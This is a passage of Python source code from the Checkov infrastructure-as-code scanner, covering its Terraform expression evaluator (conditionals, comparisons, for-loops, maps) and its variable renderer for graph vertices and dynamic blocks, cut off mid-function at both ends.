evaluate_terraform(groups[0]) condition_substr = input_str[start:end] bool_evaluated_condition = convert_to_bool(evaluated_condition) if bool_evaluated_condition is True: true_val = str(evaluate_terraform(groups[1])).strip() input_str = input_str.replace(condition_substr, true_val) elif bool_evaluated_condition is False: false_val = str(evaluate_terraform(groups[2])).strip() input_str = input_str.replace(condition_substr, false_val) else: # in case we didn't succeed to evaluate condition we shouldn't put any value. break condition = find_conditional_expression_groups(input_str) return input_str def evaluate_compare(input_str: str) -> str | bool | int: """ :param input_str: string like "a && b" (supported operators: ==, != , <, <=, >, >=, && , ||) :return: evaluation of the expression """ if isinstance(input_str, str) and "for" not in input_str: if not any(operator in input_str for operator in COMPARE_OPERATORS): # if an operator doesn't exist in the string, no need to proceed return input_str match = re.search(COMPARE_REGEX, input_str) if match: compare_parts = match.groupdict() a = compare_parts.get("a") b = compare_parts.get("b") op = compare_parts.get("operator") if a and b and op: try: return apply_binary_op(evaluate_terraform(a), evaluate_terraform(b), op) except (TypeError, SyntaxError): return input_str return input_str def _handle_literal(input_str: str) -> Any: try: e = ast.literal_eval(input_str) if isinstance(e, list) and len(e) == 1: return e[0] except (ValueError, SyntaxError): pass return input_str def _remove_variable_formatting(input_str: str) -> str: return input_str[2:-1] if input_str.startswith(f'{renderer.DOLLAR_PREFIX}{renderer.LEFT_CURLY}') and input_str.endswith(renderer.RIGHT_CURLY) else input_str def _evaluate_iterable(input_str: str, iterable_start_idx: int, iterable_end_idx: int) -> str: input_str = input_str[0:iterable_start_idx + 1] + str( _try_evaluate(input_str[iterable_start_idx: iterable_end_idx].strip())) + input_str[iterable_end_idx:] return input_str def handle_for_loop(input_str: Union[str, int, bool]) -> str | int | bool: if isinstance(input_str, str) and renderer.FOR_LOOP in input_str and '?' not in input_str: old_input_str = input_str input_str = _handle_literal(input_str) if isinstance(input_str, str) and renderer.FOR_LOOP in input_str: input_str = _remove_variable_formatting(input_str) iterable_start_idx = input_str.find('in') + 2 iterable_end_idx = input_str.find(renderer.KEY_VALUE_SEPERATOR) input_str = _evaluate_iterable(input_str, iterable_start_idx, iterable_end_idx) start_bracket_idx = input_str[1:].find(renderer.LEFT_BRACKET) end_bracket_idx = renderer.find_match_bracket_index(input_str, start_bracket_idx + 1) if start_bracket_idx == -1 or end_bracket_idx == -1: return old_input_str rendered_statement = input_str[start_bracket_idx:end_bracket_idx + 1].replace('"', '\\"').replace("'", '"') new_val: str | None = '' if input_str.startswith(renderer.LEFT_CURLY): new_val = _handle_for_loop_in_dict(rendered_statement, input_str, end_bracket_idx + 1) elif input_str.startswith(renderer.LEFT_BRACKET): new_val = _handle_for_loop_in_list(rendered_statement, input_str, end_bracket_idx + 1) return new_val if new_val else old_input_str else: return input_str else: return input_str def _extract_expression_from_statement(statement: str, start_expression_idx: int) -> str: """ statement: [ for val in ["v", "k"] : val ] start_expression_idx: len(" for val in ["v", "k"]") output: "val" statement: { for val in {"name": "a", "val": "val"} : val.name => true } start_expression_idx: len(" for val in {"name": "a", "val": "val"}") output: val.name => true """ return statement[start_expression_idx + len(renderer.KEY_VALUE_SEPERATOR):-1] def _handle_for_loop_in_dict(object_to_run_on: str, statement: str, start_expression_idx: int) -> Optional[str]: try: evaluated_object_to_run_on: list[dict[str, Any]] = ast.literal_eval(object_to_run_on.replace(' ', '')) except (ValueError, SyntaxError): return None expression = _extract_expression_from_statement(statement, start_expression_idx) split_expression = expression.replace(' ', '').split(renderer.FOR_EXPRESSION_DICT) if len(split_expression) != 2: return None k_expression, v_expression = split_expression obj_key = statement.split(' ')[1] if k_expression.startswith(f'{obj_key}.'): k_expression = k_expression.replace(f'{obj_key}.', '') rendered_result = {} for obj in evaluated_object_to_run_on: val_to_assign = obj if statement.startswith(f'{renderer.LEFT_CURLY}{renderer.FOR_LOOP} {v_expression}') else evaluate_terraform(v_expression) try: rendered_result[obj[k_expression]] = val_to_assign except (TypeError, KeyError): return None return json.dumps(rendered_result) def _handle_for_loop_in_list(object_to_run_on: str, statement: str, start_expression_idx: int) -> Optional[str]: try: evaluated_object_to_run_on: list[Any] = ast.literal_eval(object_to_run_on.replace(' ', '')) except (ValueError, SyntaxError): return None expression = _extract_expression_from_statement(statement, start_expression_idx) if renderer.LOOKUP in expression: return None if renderer.DOLLAR_PREFIX in expression: return _handle_for_loop_in_list_of_dicts( object_to_run_on=evaluated_object_to_run_on, statement=statement, expression=expression, ) rendered_result = [] for obj in evaluated_object_to_run_on: val_to_assign = obj if statement.startswith(f'{renderer.LEFT_BRACKET}{renderer.FOR_LOOP} {expression}') else evaluate_terraform(expression) rendered_result.append(val_to_assign) return json.dumps(rendered_result) def _handle_for_loop_in_list_of_dicts(object_to_run_on: list[Any], statement: str, expression: str) -> str: rendered_result = [] loop_key = f"${{{statement.split(' ')[1]}." # ex. "${val." if loop_key in expression: for obj in object_to_run_on: val_to_assign = expression if isinstance(obj, dict): for obj_key, obj_value in obj.items(): replace_value = f"{loop_key}{obj_key}}}" # ex. "${val.name}" if replace_value in val_to_assign: if isinstance(obj_value, (list, dict)): obj_value = json.dumps(obj_value) if isinstance(obj_value, (bool, int)) or obj_value is None: # need to also remove the surrounding quotes val_to_assign = val_to_assign.replace(f"'{replace_value}'", str(obj_value)) else: val_to_assign = val_to_assign.replace(replace_value, obj_value) try: # it should be a JSON, but better be safe than sorry val_to_assign = ast.literal_eval(val_to_assign) except (ValueError, SyntaxError): # ignore unparsable expressions continue rendered_result.append(val_to_assign) return json.dumps(rendered_result) def evaluate_json_types(input_str: Any) -> Any: # https://www.terraform.io/docs/language/functions/jsonencode.html if isinstance(input_str, str) and input_str.startswith("jsonencode("): return input_str.replace("true", "True").replace("false", "False").replace("null", "None") return input_str def apply_binary_op(a: Optional[Union[str, int, bool]], b: Optional[Union[str, int, bool]], operator: str) -> bool | int | str: # apply the operator after verifying that a and b have the same type. operators: Dict[str, Callable[[T, T], bool | int | str]] = { "==": lambda a, b: a == b, "!=": lambda a, b: a != b, ">": lambda a, b: a > b, ">=": lambda a, b: a >= b, "<": lambda a, b: a < b, "<=": lambda a, b: a <= b, "&&": lambda a, b: a and b, "||": lambda a, b: a or b, } type_a = type(a) type_b = type(b) if type_a != type_b: try: temp_b = type_a(b) # type:ignore[misc,arg-type] if isinstance(a, bool) and b: temp_b = bool(convert_to_bool(b)) return operators[operator](a, temp_b) # type:ignore[type-var] except Exception: temp_a = type_b(a) # type:ignore[misc,arg-type] if isinstance(b, bool) and a: temp_a = bool(convert_to_bool(a)) return operators[operator](temp_a, b) # type:ignore[type-var] else: return operators[operator](a, b) # type:ignore[type-var] def evaluate_directives(input_str: str) -> str: if "%{" not in input_str: # no need to proceed further return input_str if re.search(DIRECTIVE_EXPR, input_str) is None: return input_str # replace `%{if }%{true_val}%{else}%{false_val}%{endif}` pattern with ` ? true_val : false_val` matching_directives = re.findall(DIRECTIVE_EXPR, input_str) if len(matching_directives) == 3: if ( re.search(r"\bif\b", matching_directives[0]) and re.search(r"\belse\b", matching_directives[1]) and re.search(r"\bendif\b", matching_directives[2]) ): split_by_directives = re.split(DIRECTIVE_EXPR, input_str) edited_str = "" for part in split_by_directives: if re.search(r"\bif\b", part): part = part.replace("if", "%{") + " ? " part = re.sub(r"\s", "", part) if re.search(r"\belse\b", part): part = part.replace("else", ":") part = re.sub(r"\s", "", part) if re.search(r"\bendif\b", part): part = part.replace("endif", "}") part = re.sub(r"\s", "", part) edited_str += part input_str = edited_str matching_directives = re.split(DIRECTIVE_EXPR, input_str) evaluated_string_parts = [] for str_part in matching_directives: evaluated_string_parts.append(evaluate_terraform(str_part)) # Handle evaluation results which are integer / boolean evaluated_string_parts = [v if isinstance(v, str) else str(v) for v in evaluated_string_parts] return "".join(evaluated_string_parts) def evaluate_map(input_str: str) -> str: # first replace maps ":" with "=" all_curly_brackets = find_brackets_pairs(input_str, "{", "}") if "=" in input_str: for curly_match in all_curly_brackets: curly_start = curly_match["start"] curly_end = curly_match["end"] replaced_matching_map = ' ' + input_str[curly_start: curly_end + 1] + ' ' for i in range(1, len(replaced_matching_map) - 1): if replaced_matching_map[i] == "=" and replaced_matching_map[i - 1] not in ["=", "!"] and replaced_matching_map[i + 1] != "=": replaced_matching_map = f'{replaced_matching_map[:i]}:{replaced_matching_map[i + 1:]}' input_str = input_str.replace(input_str[curly_start : curly_end + 1], replaced_matching_map[1:-1]) # find map access like {a: b}[a] and extract the right value - b all_square_brackets = find_brackets_pairs(input_str, "[", "]") curr_square_match = 0 for curly_match in all_curly_brackets: curly_start = curly_match["start"] curly_end = curly_match["end"] for i in range(curr_square_match, len(all_square_brackets)): curr_square_match = i square_match = all_square_brackets[i] square_start = square_match["start"] square_end = square_match["end"] if square_start > curly_end and ( square_start == curly_end + 1 or all(c == " " for c in input_str[curly_end + 1 : square_start]) ): origin_match_str = input_str[curly_start : square_end + 1] map_access = input_str[square_start + 1 : square_end] if not map_access.startswith('"') and not map_access.endswith('"'): origin_match_str = origin_match_str.replace(f"[{map_access}]", f'["{map_access}"]') evaluated = _try_evaluate(origin_match_str) if evaluated: input_str = input_str.replace(input_str[curly_start : square_end + 1], str(evaluated)) break return input_str def convert_to_bool(bool_str: Union[str, int]) -> Union[str, int, bool]: if bool_str in ["true", '"true"', "True", '"True"', 1, "1"]: return True elif bool_str in ["false", '"false"', "False", '"False"', 0, "0"]: return False else: return bool_str def evaluate_list_access(input_str: str) -> str: # find list access like [a, b, c][0] and extract the right value - a all_square_brackets = find_brackets_pairs(input_str, "[", "]") prev_start = -1 prev_end = -1 for match in all_square_brackets: if ( match["start"] == prev_end + 1 or all(c == " " for c in input_str[prev_end + 1 : match["start"]]) ) and prev_start != -1: curr_str = input_str[match["start"] + 1 : match["end"]] if curr_str.isnumeric(): evaluated = _try_evaluate(input_str[prev_start : match["end"] + 1]) if evaluated: input_str = input_str.replace(input_str[prev_start : match["end"] + 1], str(evaluated)) prev_start = match["start"] prev_end = match["end"] return input_str def find_brackets_pairs(input_str: str, starting: str, closing: str) -> List[Dict[str, int]]: brackets_pairs = [-1] * len(input_str) unmatched_open = [] for i, c in enumerate(input_str): if c == starting: unmatched_open.append(i) elif c == closing and len(unmatched_open) > 0: brackets_pairs[unmatched_open[-1]] = i unmatched_open = unmatched_open[:-1] all_brackets = [] for start, end in enumerate(brackets_pairs): if end != -1 and end - start > 1: all_brackets.append({"start": start, "end": end}) return all_brackets def find_conditional_expression_groups(input_str: str) -> Optional[Tuple[List[str], int, int]]: """ from condition ? true_val : false_val return [condition, true_val, false_val] """ if '?' not in input_str or ':' not in input_str: return None if input_str.index('?') > input_str.rindex(':'): return None brackets_pairs = { '[': ']', '{': '}', '(': ')' } str_keys = {'\'', '"'} stack: list[tuple[str, int]] = [] groups = [] end_stack: list[tuple[str, int]] = [] def _update_stack_if_needed(char: str, i: int) -> None: # can be true only if the char in str_keys or in brackets_pairs.values() if stack and stack[-1][0] == char: stack.pop(len(stack) - 1) elif char in brackets_pairs: stack.append((brackets_pairs[char], i)) elif char in str_keys: stack.append((char, i)) def _find_separator_index(separator: str, input_str: str, start: int, update_end_stack: bool = False) -> Optional[int]: for i in range(start, len(input_str)): char = input_str[i] if char == separator: if not stack or stack == end_stack: return i if update_end_stack: end_stack.extend(stack) return i _update_stack_if_needed(char, i) return None # find first separator first_separator = _find_separator_index('?', input_str, 0, update_end_stack=True) if first_separator is None: return None start = 0 if not stack else stack[-1][1] # Advance start index by 1 if the first character is a left parenthesis from the function call if input_str[start] == renderer.LEFT_PARENTHESIS: start = start + 1 comma_seperator = _find_separator_index(renderer.COMMA, input_str, start) if comma_seperator and start < comma_seperator < first_separator: start = comma_seperator + 1 groups.append(input_str[start:first_separator].strip()) # find second separator second_separator = _find_separator_index(':', input_str, first_separator) if second_separator is None: return None groups.append(input_str[first_separator + 1:second_separator]) if not stack: groups.append(input_str[second_separator + 1:]) return groups, 0, len(input_str) start = max(start, stack[-1][1]) end = len(input_str) for i in range(second_separator + 1, len(input_str)): char = input_str[i] if char == renderer.COMMA and stack == end_stack: end = i break _update_stack_if_needed(char, i) if not stack: end = i + 1 break if len(stack) + 1 == len(end_stack): end = i break groups.append(input_str[second_separator + 1:end]) return groups, start, end ================================================ FILE: checkov/terraform/graph_builder/variable_rendering/renderer.py ================================================ from __future__ import annotations import json from ast import literal_eval import logging import os import re from collections.abc import Hashable, Sequence from json import JSONDecodeError import dpath from typing import TYPE_CHECKING, List, Dict, Any, Tuple, Union, Optional, cast from lark.tree import Tree from checkov.common.graph.graph_builder import Edge from checkov.common.graph.graph_builder.utils import join_trimmed_strings from checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer from checkov.common.util.data_structures_utils import find_in_dict, pickle_deepcopy from checkov.common.util.type_forcers import force_int from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes, reserved_attribute_names from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.utils import ( get_attribute_is_leaf, get_referenced_vertices_in_value, remove_index_pattern_from_str, attribute_has_nested_attributes, attribute_has_dup_with_dynamic_attributes, ) from checkov.terraform.graph_builder.variable_rendering.vertex_reference import VertexReference import checkov.terraform.graph_builder.variable_rendering.evaluate_terraform as evaluator if TYPE_CHECKING: from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph VAR_TYPE_DEFAULT_VALUES: dict[str, list[Any] | dict[str, Any]] = { 'list': [], 'map': {} } attrsToFilterByResourceType = { "google_iam_workload_identity_pool_provider": ["attribute_condition"] } DYNAMIC_STRING = 'dynamic' DYNAMIC_BLOCKS_LISTS = 'list' DYNAMIC_BLOCKS_MAPS = 'map' FOR_LOOP = 'for' LOOKUP = 'lookup' DOT_SEPERATOR = '.' LEFT_BRACKET_WITH_QUOTATION = '["' RIGHT_BRACKET_WITH_QUOTATION = '"]' LEFT_PARENTHESIS = '(' COMMA = ',' LEFT_BRACKET = '[' RIGHT_BRACKET = ']' LEFT_CURLY = '{' RIGHT_CURLY = '}' DOLLAR_PREFIX = '$' FOR_EXPRESSION_DICT = ':>' KEY_VALUE_SEPERATOR = ' : ' # matches the internal value of the 'type' attribute: usually like '${map}' or '${map(string)}', but could possibly just # be like 'map' or 'map(string)' (but once we hit a ( or } we can stop) TYPE_REGEX = re.compile(r'^(\${)?([a-z]+)') CHECKOV_RENDER_MAX_LEN = force_int(os.getenv("CHECKOV_RENDER_MAX_LEN", "10000")) DATA_SPECIAL_KEYWORDS = { "policy_data": "binding" } class TerraformVariableRenderer(VariableRenderer["TerraformLocalGraph"]): def __init__(self, local_graph: "TerraformLocalGraph") -> None: super().__init__(local_graph) def attributes_no_eval(self, attribute: str, vertex_index: int) -> bool: """ Check if the attribute should not be evaluated. :param attribute: the attribute to check :param vertex_index: the index of the current vertex :return bool: True if the attribute should not be evaluated and False otherwise """ if attribute in {"template_body", "template"}: return True # OCI policy statements have a special syntax and should not be evaluated. # Check if the vertex at this index is an OCI terraform resource. if attribute == "statements": vertex_attributes = self.local_graph.get_vertex_attributes_by_index(vertex_index) if vertex_attributes and vertex_attributes.get("resource_type", "").startswith("oci_"): return True return False def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None: multiple_edges = len(edge_list) > 1 edge = edge_list[0] for e in edge_list: if not self.local_graph.vertices[e.origin] or not self.local_graph.vertices[e.dest]: return origin_vertex_attributes = self.local_graph.vertices[edge.origin].attributes val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, "")) referenced_vertices = get_referenced_vertices_in_value( value=val_to_eval, aliases={}, resources_types=self.local_graph.get_resources_types_in_graph() ) if not referenced_vertices: origin_vertex = self.local_graph.vertices[edge.origin] destination_vertex = self.local_graph.vertices[edge.dest] if origin_vertex.block_type == BlockType.VARIABLE and destination_vertex.block_type == BlockType.MODULE: self.update_evaluated_value( changed_attribute_key=edge.label, changed_attribute_value=destination_vertex.attributes[origin_vertex.name], vertex=edge.origin, change_origin_id=edge.dest, attribute_at_dest=edge.label, ) return if ( origin_vertex.block_type == BlockType.VARIABLE and destination_vertex.block_type == BlockType.TF_VARIABLE ): self.update_evaluated_value( changed_attribute_key=edge.label, changed_attribute_value=destination_vertex.attributes['default'], vertex=edge.origin, change_origin_id=edge.dest, attribute_at_dest=edge.label, ) return modified_vertex_attributes = self.local_graph.vertices[edge.origin].attributes origin_val = modified_vertex_attributes.get(edge.label, "") val_to_eval = pickle_deepcopy(origin_val) first_key_path = None if referenced_vertices: for edge in edge_list: dest_vertex_attributes = self.local_graph.get_vertex_attributes_by_index(edge.dest, add_hash=False) key_path_in_dest_vertex, replaced_key = self.find_path_from_referenced_vertices( referenced_vertices, dest_vertex_attributes ) if not key_path_in_dest_vertex or not replaced_key: continue if not first_key_path: first_key_path = key_path_in_dest_vertex evaluated_attribute_value = self.extract_value_from_vertex( key_path_in_dest_vertex, dest_vertex_attributes ) if evaluated_attribute_value is not None: val_to_eval = self.replace_value(edge, val_to_eval, replaced_key, evaluated_attribute_value, True) if not multiple_edges and val_to_eval != origin_val: self.update_evaluated_value( changed_attribute_key=edge.label, changed_attribute_value=val_to_eval, vertex=edge.origin, change_origin_id=edge.dest, attribute_at_dest=key_path_in_dest_vertex, ) if multiple_edges and val_to_eval != origin_val: self.update_evaluated_value( changed_attribute_key=edge.label, changed_attribute_value=val_to_eval, vertex=edge.origin, change_origin_id=edge.dest, attribute_at_dest=first_key_path, ) # Avoid loops on output => output edges if ( self.local_graph.vertices[edge.origin].block_type == BlockType.OUTPUT and self.local_graph.vertices[edge.dest].block_type == BlockType.OUTPUT ): if edge.origin not in self.done_edges_by_origin_vertex: self.done_edges_by_origin_vertex[edge.origin] = [] self.done_edges_by_origin_vertex[edge.origin].append(edge) def extract_value_from_vertex(self, key_path: List[str], attributes: Dict[str, Any]) -> Any: for i, _ in enumerate(key_path): key = join_trimmed_strings(char_to_join=".", str_lst=key_path, num_to_trim=i) value = attributes.get(key, None) if value is not None: return value reversed_key_path = key_path[::-1] for i, _ in enumerate(reversed_key_path): key = join_trimmed_strings(char_to_join=".", str_lst=reversed_key_path, num_to_trim=i) value = attributes.get(key, None) if value is not None: return value special_key = DATA_SPECIAL_KEYWORDS.get(key, '') value = attributes.get(special_key) if attributes.get('block_type_') == BlockType.DATA and value is not None: return {special_key: value} if attributes.get(CustomAttributes.BLOCK_TYPE) in (BlockType.VARIABLE, BlockType.TF_VARIABLE): var_type = attributes.get('type') default_val = attributes.get("default") if default_val is None: # this allows functions like merge(var.xyz, ...) to work even with no default value default_val = self.get_default_placeholder_value(var_type) value = None if isinstance(default_val, dict): value = find_in_dict(input_dict=default_val, key_path=create_variable_key_path(key_path)) elif ( isinstance(var_type, str) and var_type.startswith("${object") and isinstance(default_val, str) ): try: default_val_eval = literal_eval(default_val) if isinstance(default_val_eval, dict): value = self.extract_value_from_vertex(key_path, default_val_eval) except Exception: logging.debug(f"cannot evaluate this rendered value: {default_val}") return default_val if value is None else value if attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.OUTPUT: return attributes.get("value") return None @staticmethod def get_default_placeholder_value(var_type: Any) -> list[Any] | dict[str, Any] | None: if not var_type or not isinstance(var_type, str): return None match = TYPE_REGEX.match(var_type) return VAR_TYPE_DEFAULT_VALUES.get(match.group(2)) if match else None @staticmethod def find_path_from_referenced_vertices( referenced_vertices: Sequence[VertexReference], vertex_attributes: Dict[str, Any] ) -> Tuple[List[str], str]: """ :param referenced_vertices: an array of VertexReference :param vertex_attributes: attributes to search :return attribute_path: [] if referenced_vertices does not contain vertex_attributes, else the path to the searched attribute: ['vpc_id'] :return origin_value """ for vertex_reference in referenced_vertices: block_type = vertex_reference.block_type attribute_path = vertex_reference.sub_parts copy_of_attribute_path = attribute_path.copy() if vertex_attributes[CustomAttributes.BLOCK_TYPE] == block_type: for i, _ in enumerate(copy_of_attribute_path): copy_of_attribute_path[i] = remove_index_pattern_from_str(copy_of_attribute_path[i]) name = ".".join(copy_of_attribute_path[: i + 1]) if vertex_attributes[CustomAttributes.BLOCK_NAME] == name: return attribute_path, vertex_reference.origin_value elif vertex_attributes[CustomAttributes.BLOCK_NAME] == name.replace(LEFT_BRACKET_WITH_QUOTATION, LEFT_BRACKET).replace(RIGHT_BRACKET_WITH_QUOTATION, RIGHT_BRACKET): return attribute_path, vertex_reference.origin_value elif block_type == BlockType.MODULE: copy_of_attribute_path.reverse() for i, _ in enumerate(copy_of_attribute_path): copy_of_attribute_path[i] = remove_index_pattern_from_str(copy_of_attribute_path[i]) name = ".".join(copy_of_attribute_path[: i + 1]) if vertex_attributes[CustomAttributes.BLOCK_NAME] == name: return name.split("."), vertex_reference.origin_value return [], "" def update_evaluated_value( self, changed_attribute_key: str, changed_attribute_value: Union[str, List[str]], vertex: int, change_origin_id: int, attribute_at_dest: Optional[Union[str, List[str]]] = None, ) -> None: """ The function updates the value of changed_attribute_key with changed_attribute_value for vertex """ str_to_evaluate = ( str(changed_attribute_value) if self.attributes_no_eval(changed_attribute_key, vertex) else f'"{str(changed_attribute_value)}"' ) str_to_evaluate = str_to_evaluate.replace("\\\\", "\\") evaluated_attribute_value = ( str_to_evaluate if self.attributes_no_eval(changed_attribute_key, vertex) else evaluator.evaluate_terraform(str_to_evaluate) ) self.local_graph.update_vertex_attribute( vertex, changed_attribute_key, evaluated_attribute_value, change_origin_id, attribute_at_dest ) def evaluate_vertices_attributes(self) -> None: for vertex in self.local_graph.vertices: decoded_attributes = vertex.get_attribute_dict(add_hash=False) for attr in decoded_attributes: if attr in vertex.changed_attributes: continue origin_value = decoded_attributes[attr] if not isinstance(origin_value, str): continue evaluated_attribute_value = evaluator.evaluate_terraform(origin_value) if origin_value != evaluated_attribute_value: vertex.update_inner_attribute(attr, vertex.attributes, evaluated_attribute_value) def replace_value( self, edge: Edge, original_val: List[Any], replaced_key: str, replaced_value: Any, keep_origin: bool, count: int = 0, ) -> Union[Any, List[Any]]: if count > 1: return original_val new_val = evaluator.replace_string_value( original_str=original_val, str_to_replace=replaced_key, replaced_value=replaced_value, keep_origin=keep_origin, ) return new_val def _render_variables_from_vertices(self) -> None: self._render_dynamic_blocks() def _render_dynamic_blocks(self) -> None: vertex_indices = self.local_graph.vertices_by_block_type[BlockType.RESOURCE] for idx in vertex_indices: vertex = self.local_graph.vertices[idx] if vertex.has_dynamic_block: # only check dynamic blocks on the root level for now dynamic_blocks = vertex.attributes.get("dynamic") if dynamic_blocks: try: rendered_blocks = self._process_dynamic_blocks(dynamic_blocks) except Exception: logging.info(f'Failed to process dynamic blocks in file {vertex.path} of resource {vertex.name}' f' for blocks: {dynamic_blocks}') continue changed_attributes = [] for block_name, block_confs in rendered_blocks.items(): vertex.update_inner_attribute(block_name, vertex.attributes, block_confs) changed_attributes.append(block_name) self.local_graph.update_vertex_config(vertex, changed_attributes, True) @staticmethod def _extract_dynamic_arguments(block_name: str, block_content: Dict[str, Any], dynamic_arguments: List[str], path_accumulator: List[str]) -> None: dynamic_value_dot_ref = f"{block_name}.value" dynamic_value_bracket_ref = f'{block_name}["value"]' dynamic_value_refs = (dynamic_value_dot_ref, dynamic_value_bracket_ref) for argument, value in block_content.items(): if value in dynamic_value_refs or isinstance(value, str) and dynamic_value_dot_ref in value: dynamic_arguments.append(DOT_SEPERATOR.join(filter(None, [*path_accumulator, argument]))) elif isinstance(value, dict): TerraformVariableRenderer._extract_dynamic_arguments(block_name, value, dynamic_arguments, path_accumulator + [argument]) @staticmethod def _process_dynamic_blocks(dynamic_blocks: list[dict[str, Any]] | dict[str, Any]) -> dict[ str, list[dict[str, Any]] | dict[str, Any]]: rendered_blocks: dict[str, list[dict[str, Any]] | dict[str, Any]] = {} if not isinstance(dynamic_blocks, list) and not isinstance(dynamic_blocks, dict): logging.info(f"Dynamic blocks found, but of type {type(dynamic_blocks)}") dynamic_type = DYNAMIC_BLOCKS_LISTS if isinstance(dynamic_blocks, dict): dynamic_blocks = [dynamic_blocks] dynamic_type = DYNAMIC_BLOCKS_MAPS for block in dynamic_blocks: block_name, block_values = next(iter(block.items())) # only one block per dynamic_block block_content = block_values.get("content") dynamic_values = block_values.get("for_each") dynamic_values = TerraformVariableRenderer._handle_for_loop_in_dynamic_values(dynamic_values) if not block_content or not dynamic_values or isinstance(dynamic_values, str): continue dynamic_arguments: list[str] = [] TerraformVariableRenderer._extract_dynamic_arguments(block_name, block_content, dynamic_arguments, []) if not dynamic_arguments and len(dynamic_values) == 1: for argument, _ in block_content.items(): dynamic_arguments.append(argument) if dynamic_arguments and isinstance(dynamic_values, list): block_confs = [] for dynamic_value in dynamic_values: block_conf = pickle_deepcopy(block_content) block_conf.pop(DYNAMIC_STRING, None) for dynamic_argument in dynamic_arguments: if dynamic_type == DYNAMIC_BLOCKS_MAPS: if not isinstance(dynamic_value, dict): continue TerraformVariableRenderer._assign_dynamic_value_for_list( dynamic_value=dynamic_value, dynamic_argument=dynamic_argument, block_conf=block_conf, block_content=block_content, block_name=block_name ) else: TerraformVariableRenderer._assign_dynamic_value_for_map( dynamic_value=dynamic_value, dynamic_argument=dynamic_argument, block_conf=block_conf, block_content=block_content, ) block_confs.append(block_conf) rendered_blocks[block_name] = block_confs if len(block_confs) > 1 else block_confs[0] if DYNAMIC_STRING in block_content and dynamic_values: try: next_key = next(iter(block_content[DYNAMIC_STRING].keys())) except (StopIteration, AttributeError): continue block_content[DYNAMIC_STRING][next_key]['for_each'] = dynamic_values try: flatten_key = next(iter(rendered_blocks.keys())) except StopIteration: flatten_key = '' flatten_key_block = rendered_blocks.get(flatten_key) if isinstance(flatten_key_block, dict) and next_key in flatten_key_block: flatten_key_block.update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING])) elif isinstance(flatten_key_block, list) and isinstance(dynamic_values, list): for i in range(len(flatten_key_block)): block_content[DYNAMIC_STRING][next_key]['for_each'] = [dynamic_values[i]] flatten_key_block[i].update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING])) else: rendered_blocks.update(TerraformVariableRenderer._process_dynamic_blocks(block_content[DYNAMIC_STRING])) return rendered_blocks @staticmethod def _assign_dynamic_value_for_list( dynamic_value: str | dict[str, Any] | dict[str, list[dict[str, dict[str, Any]]]], dynamic_argument: str, block_conf: dict[str, Any], block_content: dict[str, Any], block_name: str, ) -> None: dynamic_value_in_map = TerraformVariableRenderer.extract_dynamic_value_in_map( dpath.get(block_content, dynamic_argument, separator=DOT_SEPERATOR), dynamic_argument ) if isinstance(dynamic_value, dict) and block_name not in dynamic_value and dynamic_value_in_map in dynamic_value: dpath.set(block_conf, dynamic_argument, dynamic_value[dynamic_value_in_map], separator=DOT_SEPERATOR) else: try: if DOT_SEPERATOR in dynamic_argument: dynamic_args = dynamic_argument.split(DOT_SEPERATOR) dpath.set(block_conf, dynamic_argument, dynamic_value[block_name][0][dynamic_args[0]][dynamic_args[1]], separator=DOT_SEPERATOR) # type:ignore[index] else: dpath.set(block_conf, dynamic_argument, dynamic_value[block_name][0][dynamic_value_in_map], separator=DOT_SEPERATOR) # type:ignore[index] except (KeyError, IndexError): dynamic_content = block_content.get(dynamic_argument) if dynamic_content and LOOKUP in dynamic_content: block_conf[dynamic_argument] = get_lookup_value(block_content, dynamic_argument) else: return @staticmethod def _handle_for_loop_in_dynamic_values(dynamic_values: str | dict[str, Any]) -> str | dict[str, Any] | list[dict[str, Any]]: if not isinstance(dynamic_values, str): return dynamic_values if (dynamic_values.startswith(LEFT_BRACKET + FOR_LOOP) or dynamic_values.startswith(LEFT_BRACKET + " " + FOR_LOOP)) and dynamic_values.endswith(RIGHT_BRACKET): rendered_dynamic_values = dynamic_values[1:-1] start_bracket_idx = rendered_dynamic_values.find(LEFT_BRACKET) end_bracket_idx = find_match_bracket_index(rendered_dynamic_values, start_bracket_idx) if start_bracket_idx != -1 and end_bracket_idx != -1: rendered_dynamic_values = rendered_dynamic_values[start_bracket_idx:end_bracket_idx + 1].replace("'", '"') try: return cast("dict[str, Any] | list[dict[str, Any]]", json.loads(rendered_dynamic_values)) except JSONDecodeError: return dynamic_values return dynamic_values @staticmethod def _assign_dynamic_value_for_map( dynamic_value: str | dict[str, Any], dynamic_argument: str, block_conf: dict[str, Any], block_content: dict[str, Any], ) -> None: if isinstance(dynamic_value, dict): if dynamic_argument in dynamic_value: dpath.set(block_conf, dynamic_argument, dynamic_value[dynamic_argument], separator=DOT_SEPERATOR) else: if isinstance(block_content, dict) and dynamic_argument in block_content and isinstance(block_content[dynamic_argument], str): lookup_value = get_lookup_value(block_content, dynamic_argument) dpath.set(block_conf, dynamic_argument, lookup_value, separator=DOT_SEPERATOR) else: dpath.set(block_conf, dynamic_argument, dynamic_value, separator=DOT_SEPERATOR) def shouldBeFilteredByConditionAndResourceType(self, attr: str, resource_type: List[str]) -> bool: if not resource_type: return False for resource in resource_type: if resource in attrsToFilterByResourceType and attr in attrsToFilterByResourceType[resource]: return True return False def evaluate_non_rendered_values(self) -> None: for index, vertex in enumerate(self.local_graph.vertices): changed_attributes = {} attributes: Dict[str, Any] = {} vertex.get_origin_attributes(attributes) attribute_is_leaf = get_attribute_is_leaf(vertex) filtered_attributes = [ attr for attr in vertex.attributes if attr not in reserved_attribute_names and not attribute_has_nested_attributes(attr, vertex.attributes, attribute_is_leaf) and not attribute_has_dup_with_dynamic_attributes(attr, vertex.attributes) and not self.shouldBeFilteredByConditionAndResourceType(attr, vertex.attributes.get("resource_type", [])) ] for attribute in filtered_attributes: curr_val = vertex.attributes.get(attribute) lst_curr_val = curr_val if not isinstance(lst_curr_val, list): lst_curr_val = [lst_curr_val] if len(lst_curr_val) > 0 and isinstance(lst_curr_val[0], Tree): lst_curr_val[0] = str(lst_curr_val[0]) evaluated_lst = [] for inner_val in lst_curr_val: if ( isinstance(inner_val, str) and not any(c in inner_val 